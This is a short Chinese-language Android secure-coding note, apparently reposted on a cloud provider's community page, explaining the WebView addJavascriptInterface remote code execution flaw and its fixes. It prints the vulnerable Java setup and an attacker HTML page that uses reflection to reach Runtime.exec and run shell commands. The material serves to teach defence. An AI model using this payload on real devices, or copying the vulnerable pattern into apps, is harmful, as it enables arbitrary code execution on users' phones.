Android安全編碼

來源:互聯網
上載者:User

標籤:java反射   null   執行   IV   應用   mda   編碼   方法   介面   

  • WebView遠程代碼執行
    • 在API16(Android 4.2 )及之前的系統上,如果使用WebView.addJavaScriptInterface方法來實現通過JavaScript調用應用本地java介面時,由於系統沒有對註冊的Java類方法調用做任何限制,導致攻擊者可以通過使用Java反射API調用該漏洞來執行任意java對象的方法,從而達到攻擊的目的。在JavaScript中注入java對象injectedObject的漏洞代碼如下:
        WebView webView = new WebView(this);        webView.getSettings().setJavaScriptEnabled(true);        webView.addJavascriptInterface(this,"injectedObject");        webView.loadUrl("http://www.asce1885.com/index.html");
    • 攻擊者html頁面如下,可以獲得getRuntime方法,從而執行一系列shell命令,為所欲為:
      <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>    <script type="text/javascript">        function execute(cmdArgs) {            return injectedObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);        }    </script>    <title>Title</title></head><body></body></html>

 

  • 該漏洞的解決方案如下:
    • api>16 .android給出的解決方案 在Java類的方法上使用@JavascriptInterface註解
    • api<=16 強烈建議不要再使用addJavascriptInterface介面,轉而使用safe-java-js-webview-bridge這個函數庫
    • 移除Android系統內部的如下預設介面(這個搞不明白)

Android安全編碼

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.